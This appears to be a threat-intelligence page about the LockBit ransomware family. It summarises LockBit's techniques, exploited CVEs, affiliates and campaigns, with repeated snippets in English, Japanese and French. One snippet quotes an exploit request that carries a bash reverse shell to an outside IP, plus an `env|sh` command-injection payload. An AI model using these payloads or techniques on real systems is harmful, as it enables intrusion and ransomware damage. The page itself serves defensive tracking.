Loading malware…
LockBit is a ransomware family and ransomware-as-a-service operation active since 2019 and widely associated with high-volume double-extortion activity. Its operators and affiliates have used multiple major versions, notably LockBit 2.0 and LockBit 3.0, also known as LockBit Black. The malware targets Windows environments and later expanded to ESXi-focused encryption capabilities. It is designed for fast, large-scale encryption and operational disruption, while also supporting data-theft-driven extortion through leak-site pressure and countdown-based publication threats.
LockBit 2.0 emphasized speed and enterprise impact. Reported capabilities include partial file encryption, AES-NI acceleration, Curve25519-based key handling, encryption of local drives and accessible network shares, forced mounting of hidden volumes, termination of processes and services, deletion of shadow copies and logs, and printing of ransom notes to accessible printers. It can establish persistence to resume encryption after interruption, hide execution from users, and employ anti-analysis measures such as API hashing, string obfuscation, debugger evasion, and process masquerading. When executed with sufficient privileges in domain environments, LockBit 2.0 can propagate through Group Policy to distribute itself across domain-joined systems, making it particularly dangerous in Windows enterprise networks.
LockBit 3.0 retained the core ransomware functionality while adding or refining privilege escalation, lateral movement, safe-mode execution, self-deletion, and configuration-driven targeting. Analyses have noted substantial code and technique overlap with BlackMatter, including anti-debugging, API resolution methods, reflective loading patterns, and shadow-copy deletion approaches. LockBit 3.0 can encrypt network shares and certain enterprise application data stores when enabled, modify wallpaper and file icons, and use domain-administration context to spread through administrative mechanisms such as Group Policy and remote shares. Some variants also use PowerShell-based loaders or reflective DLL execution.
LockBit commonly avoids systems configured for certain CIS and post-Soviet languages, although exceptions have been observed. The malware has been linked to UAC bypass techniques using elevated COM interfaces and other privilege-escalation logic. Operationally, LockBit has been one of the most prominent ransomware brands in the criminal ecosystem, with affiliate-based deployment, repeated version updates, and sustained leak-site activity across many sectors. Public reporting has associated LockBit with attacks against a broad range of organizations worldwide, including critical infrastructure, healthcare-related entities, manufacturing, logistics, and government-linked targets. The group has also been observed exploiting internet-facing vulnerabilities as part of intrusion chains, consistent with broader ransomware reliance on exposed edge systems for initial compromise.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
23 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
事例2:Citrix製VPN機器「NetScaler」の情報漏れ(2023年/Citrix Bleed) この事例は、実はスコアの付け方そのものが割れた、象徴的な一件です。 同じ脆弱性なのに、NVD(米国国立脆弱性データベース)は7.5(HIGH)、ベンダーであるCitrix自身は9.4(CRITICAL)と評価しました。 中身は「メモリの内容が少し漏れる」という一見地味なものでした。 ところが漏れる内容にログインセッションの情報が含まれていたため、攻撃者はIDやパスワード、多要素認証(二段階認証)すら突破して、正規利用者になりすますことができました。 被害を受けた航空機大手Boeing社が自ら情報を提供し、CISAなどの共同勧告により、LockBit(ロックビット)がこの脆弱性を悪用したことが明らかとなっています | CISAなどの共同勧告により、LockBit(ロックビット) がこの脆弱性を悪用したことが明らかとなっています。
The security researcher noted that all the Pulse Secure VPN servers included in the list were running a firmware version vulnerable to the CVE-2019-11510 vulnerability. Bank Security believes that the hacker who compiled this list scanned the entire internet IPv4 address space for Pulse Secure VPN servers, used an exploit for the CVE-2019-11510 vulnerability to gain access to systems, dump server details (including usernames and passwords), and then collected all the information in one central repository.
The agency particularly warns companies to patch their Fortinet networking devices for CVE-2018-13379, a vulnerability that has been identified as the entry point for many LockBit 2.0 attacks. | Australia's cybersecurity agency has issued a security advisory on Friday warning about a sudden spike in LockBit ransomware attacks across the country... The ACSC has observed LockBit affiliates successfully deploying ransomware on corporate systems in a variety of sectors including professional services, construction, manufacturing, retail and food.
The ActiveMQ episode was compiled from reporting on exploitation of CVE-2023–46604 against an exposed server. The chain continued through discovery, remote access activity, and LockBit deployment...
Log4Shell (CVE-2021-44228) Disclosed on December 9th, 2021, Log4Shell (CVE-2021-44228) is one of the more memorable recent supply chain vulnerabilities with widespread industry impact. This was a critical remote code execution vulnerability in Apache Log4J, a Java logging library utility used by many applications.
CVE-2024–21762 and CVE-2024–55591: Critical vulnerabilities in Fortinet’s FortiGate and FortiProxy devices, enabling authentication bypass and remote code execution. | This is seen with CVE-2024–55591, which was also incorporated by LockBit and SuperBlack ransomware operations.
LockBit 3.0 affiliates are exploiting CVE-2023–4966, known as Citrix Bleed, in Citrix Netscaler web app delivery control (ADC) and Gateway appliances.
In July 2022, Dark Lab security firm reported the abuse of YDArk within a SonicWall SMA100 exploitation campaign aimed to leverage CVE-2019–7481 and CVE-2021–20028 on internet-exposed appliances to install Lockbit ransomware.
In July 2022, Dark Lab security firm reported the abuse of YDArk within a SonicWall SMA100 exploitation campaign aimed to leverage CVE-2019–7481 and CVE-2021–20028 on internet-exposed appliances to install Lockbit ransomware.
Starting in mid-July 2025, threat actors began actively exploiting two path traversal vulnerabilities affecting on-premises SharePoint servers: CVE-2025-53770 and CVE-2025-53771. These two vulnerabilities are related to CVE-2025-49704 and CVE-2025-49706... attackers managed to eliminate the need to be authenticated to obtain a valid signature, resulting in unauthenticated remote code execution.
The version of Velociraptor observed in this incident was outdated (version 0.73.4.0) and exposed to a privilege escalation vulnerability (CVE-2025-6264), which may have been leveraged for persistence as this vulnerability can lead to arbitrary command execution and endpoint takeover.
Starting in mid-July 2025, threat actors began actively exploiting two path traversal vulnerabilities affecting on-premises SharePoint servers: CVE-2025-53770 and CVE-2025-53771. These two vulnerabilities are related to CVE-2025-49704 and CVE-2025-49706... attackers managed to eliminate the need to be authenticated to obtain a valid signature, resulting in unauthenticated remote code execution.
PaperCut servers have been previously breached by ransomware gangs in 2023 by exploiting a critical, unauthenticated remote code execution (RCE) vulnerability (CVE–2023–27350)... One month later, CISA and the FBI issued a joint advisory warning that the Bl00dy Ransomware gang had also begun exploiting the CVE-2023–27350 RCE vulnerability to gain initial access to the networks of educational organizations.
PaperCut servers have been previously breached by ransomware gangs in 2023 by exploiting a critical, unauthenticated remote code execution (RCE) vulnerability (CVE–2023–27350) and a high-severity information disclosure flaw (CVE–2023–27351).
Initial Access and Persistence CVE-2024-55591 and CVE-2025-24472 allow unauthenticated attackers to gain super_admin privileges on vulnerable FortiOS devices (<7.0.16) with exposed management interfaces... Another common exploitation method we observed involved the threat actor using the fortigate-firewall account to exploit CVE-2025-24472 rather than CVE-2024-55591.
The experts argued that the attackers likely did not exploit recently disclosed CVE-2022-41040 and CVE-2022-41082 vulnerabilities. | In July 2022, two servers operated by a customer of the security firm were infected with LockBit 3.0 ransomware. Threat actors initially deployed web shell on a compromised Exchange server, then it took just 7 days to escalate privileges to Active Directory admin and stole roughly 1.3 TB of data before encrypting systems hosted in the network.
The experts argued that the attackers likely did not exploit recently disclosed CVE-2022-41040 and CVE-2022-41082 vulnerabilities. | In July 2022, two servers operated by a customer of the security firm were infected with LockBit 3.0 ransomware. Threat actors initially deployed web shell on a compromised Exchange server, then it took just 7 days to escalate privileges to Active Directory admin and stole roughly 1.3 TB of data before encrypting systems hosted in the network.
Looking at the Microsoft Exchange Server vulnerability history, the remote code execution vulnerability was disclosed on December 16, 2021 (CVE-2022-21969) | In July 2022, two servers operated by a customer of the security firm were infected with LockBit 3.0 ransomware. Threat actors initially deployed web shell on a compromised Exchange server, then it took just 7 days to escalate privileges to Active Directory admin and stole roughly 1.3 TB of data before encrypting systems hosted in the network.
According to malware research group vx-underground citing LockBitSupp, the alleged leader of the LockBit operation, law enforcement hacked into the ransomware operation’s servers using a known vulnerability in the popular web coding language PHP. The vulnerability used to compromise its servers is tracked as CVE-2023-3824, a remote execution flaw patched in August 2023, giving LockBit months to fix the bug. | A sweeping law enforcement operation led by the U.K.’s National Crime Agency (NCA) this week took down LockBit, the notorious Russia-linked ransomware gang... It has long been known that LockBit, which first entered the competitive cybercrime scene in 2019, is one of, if not the most prolific ransomware gangs.
Researchers at Huntress Security Operations Center (SOC) observed what they call "a sharp uptick" in exploitation activity targeting Bomgar Remote Support (now part of BeyondTrust), with attackers reaching systems through a critical unauthenticated remote code execution (RCE) flaw, CVE-2026-1731.
Storm-2603... observed stealing MachineKeys and deploying Warlock and Lockbit ransomware... They conduct lateral movement using PsExec and Impacket, deploying Warlock and LockBit ransomware to encrypt systems. | Exploited vulnerabilities include CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, and CVE-2025-53771, collectively known as ToolShell. CVE-2025-49704: A remote code execution vulnerability allowing attackers to run arbitrary code without authentication.
Storm-2603... observed stealing MachineKeys and deploying Warlock and Lockbit ransomware... They conduct lateral movement using PsExec and Impacket, deploying Warlock and LockBit ransomware to encrypt systems. | CVE-2025-49706: A spoofing vulnerability enabling post-authentication remote code execution on affected SharePoint servers.
"...others support or sell ESXi encryptors like Akira, Black Basta, Babuk, Lockbit, and Kuiper."
42 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
例えば「 LockBit 」は 7 月、 8 月とリークサイト掲載数にして全体の 30 %以上を占めていましたが、今月は 14.4% とその割合を落としています。
LockBit 3.0, aka “LockBit Black,” wouldn’t be unveiled until late June... researchers caught wind of an upcoming new variant of the LockBit ransomware.
Indictments returned in New Jersey and the District of Columbia allege that Matveev was involved in a conspiracy to distribute ransomware from three different strains or affiliate groups, including Babuk, Hive and LockBit.
A member of the cybercriminal community has discovered and disclosed a bug in the LockBit ransomware that could have been used for free decryptions. The bug impacts LockBit, a ransomware-as-a-service (RaaS) operation...
SMOKEDHAM ... a été utilisée par UNC24655, un affilié RaaS précédemment associé aux groupes Lockbit et Darkside.
Upon investigation and analysis, we have determined that the new LockBit 3.0 variant has a high infection vector and attack chain exhibiting substantial anti-forensic activity.
37 distinct techniques documented for this family, organized by ATT&CK tactic.
そして最後に、 LockBit 2.0 は PowerShell コマンドにより、強制的にグループポリシーをドメイン配下の全端末へ一斉配布します。
この「 ScheduledTasks.xml 」には、2つのスケジュールタスクがまとめて記述されています。「 ScheduledTasks.xml 」の前方に「①プロセスの強制終了」に関するスケジュールタスクが、「 ScheduledTasks.xml 」の後方に「② EXE ファイルの実行」に関するスケジュールタスクが設定されています。
そして最後に、 LockBit 2.0 は PowerShell コマンドにより、強制的にグループポリシーをドメイン配下の全端末へ一斉配布します。
GET /cgi-bin/tscbookmark?method=html5&bmId=10&swcctn=1... User-Agent: bla;bash -i >& /dev/tcp/10.100.132.55/12345 0>&1 | The payload 0a:00:27:00:00:01`env|sh` executes the env command in a subshell.
Avaddon bypasses UAC using the CMSTPLUA COM interface... LockBit 3.0 can bypass UAC to execute code with elevated privileges through an elevated Component Object Model (COM) interface. Medusa Group has attempted to bypass UAC using Component Object Model (COM) interface.
この「 ScheduledTasks.xml 」には、2つのスケジュールタスクがまとめて記述されています。「 ScheduledTasks.xml 」の前方に「①プロセスの強制終了」に関するスケジュールタスクが、「 ScheduledTasks.xml 」の後方に「② EXE ファイルの実行」に関するスケジュールタスクが設定されています。
この「 ScheduledTasks.xml 」には、2つのスケジュールタスクがまとめて記述されています。「 ScheduledTasks.xml 」の前方に「①プロセスの強制終了」に関するスケジュールタスクが、「 ScheduledTasks.xml 」の後方に「② EXE ファイルの実行」に関するスケジュールタスクが設定されています。
LockBit 2.0 は、グループポリシーを作成し、ドメイン配下の全てのクライアント端末にランサムウェアを配布する挙動を行います。
その後、 LockBit 2.0 は( Dllhost.exe を経由し)以下のレジストリ ( 今回利用する COM に関連した DisplayCalibrator というレジストリ ) を書き換えることで、 LockBit 2.0 の EXE が UAC Bypass を行える状態にします。
LockBit 2.0は、ユーザがインシデントに気付き端末を急いで強制的にシャットダウンするケースに備え、端末が再起動された際も暗号化が再開できるよう、レジストリにある HKCU の Run キーに自身のパスを登録することで、自動起動設定を行います。
また LockBit 2.0 は、 Windows API を名前ではなくハッシュ値で求める手法を採用し、 Windows API を隠蔽することで静的解析を妨害するテクニックも実装しています。
そのため前準備として、 LockBit 2.0 は自身のプロセスが持っている実行パス情報を、以降で解説する方法により信頼できるプロセスの一つである「 Explorer 」の実行パスに強制的に書き換えることで偽装します。 (こうしたプロセスの偽装処理を「マスカレード」と呼びます)
LockBit 2.0は以下のコマンドを cmd の引数として実行することで、システムのバックアップ(ボリュームシャドウコピー)や、イベントログを削除し、インシデント対応や復旧作業を妨害する処理を行います。
LockBit 2.0は全ての活動が終了すると、自身の EXE ファイルを削除しますが、その際、単純な削除( Delete )ではなく、 LockBit 2.0 の EXE ファイルが存在するハードディスクの位置の先頭から512KB分のハードディスク領域を直接0で埋め尽くすことでファイルを破損させ完全に破壊した上で削除します。
LockBit 2.0は、脅迫文を提示する別の方法として、デスクトップに HTML で記述されたアプリケーションである HTA ( HTML Application )ファイルを作成し利用します。
LockBit 2.0は、脅迫文を提示する別の方法として、デスクトップに HTML で記述されたアプリケーションである HTA ( HTML Application )ファイルを作成し利用します。
また、 LockBit 2.0 は動作中、複数のスレッド(マルチスレッド)により処理を行っていきますが、その際にデバッガからスレッドを解析できないよう、スレッドをステルス化することで解析を妨害します。
Agent Tesla has used ProcessWindowStyle.Hidden to hide windows. APT-C-36 has set the ShowWindow property of the Win32_ProcessStartup object to zero to hide PowerShell execution. APT19 used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
the ransomware could use PowerShell commands to query the DC to get the list of computers. | These strings indicate that the malware can query connected systems in the Active Directory Domain using the Lightweight Directory Access Protocol (LDAP). This information could be used for discovering other linked networks and systems.
LockBit 2.0は動作中、繰り返し実行されるスレッドの中でプロセスの強制終了を定期的に行います。 強制終了の対象プロセス名となる 137 個の文字列をメモリ上に復号 / 展開して用意します。
WNetOpenEnumW 関数および WNetEnumResourceW 関数を使用して感染端末からアクセス可能な全てのネットワーク共有を列挙し、発見されたネットワーク共有ごとに新しいスレッドを作成しリソース先に存在する全てのファイルに対し暗号化を行っていきます。
また、 LockBit 2.0 は動作中、複数のスレッド(マルチスレッド)により処理を行っていきますが、その際にデバッガからスレッドを解析できないよう、スレッドをステルス化することで解析を妨害します。
システム専用のプリンターから脅迫文が印刷された | 名古屋港においてコンテナの搬出入を管理するシステムがランサムウェア攻撃を受け、およそ3日間にわたりコンテナの搬出入が中断されました。
プロセスの強制終了は、ネイティブ API である ZwTerminateProcess が利用されます。 | また、サービスの停止も行いますが、その際 ControlService 関数に SERVICE_CONTROL_STOP を引数として渡すことで実施します。
1,159 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
200 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Established ransomware operation still active across North and South America despite law enforcement disruption, including attacks on healthcare organizations in South America.
Established ransomware operation still active across North and South America despite law-enforcement disruption, including attacks on healthcare targets in South America.
Mentioned in a list of ransomware operations known for affiliate programs and leak blogs.
Ransomware/RaaS operation mentioned as connected via Black Basta chat logs.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.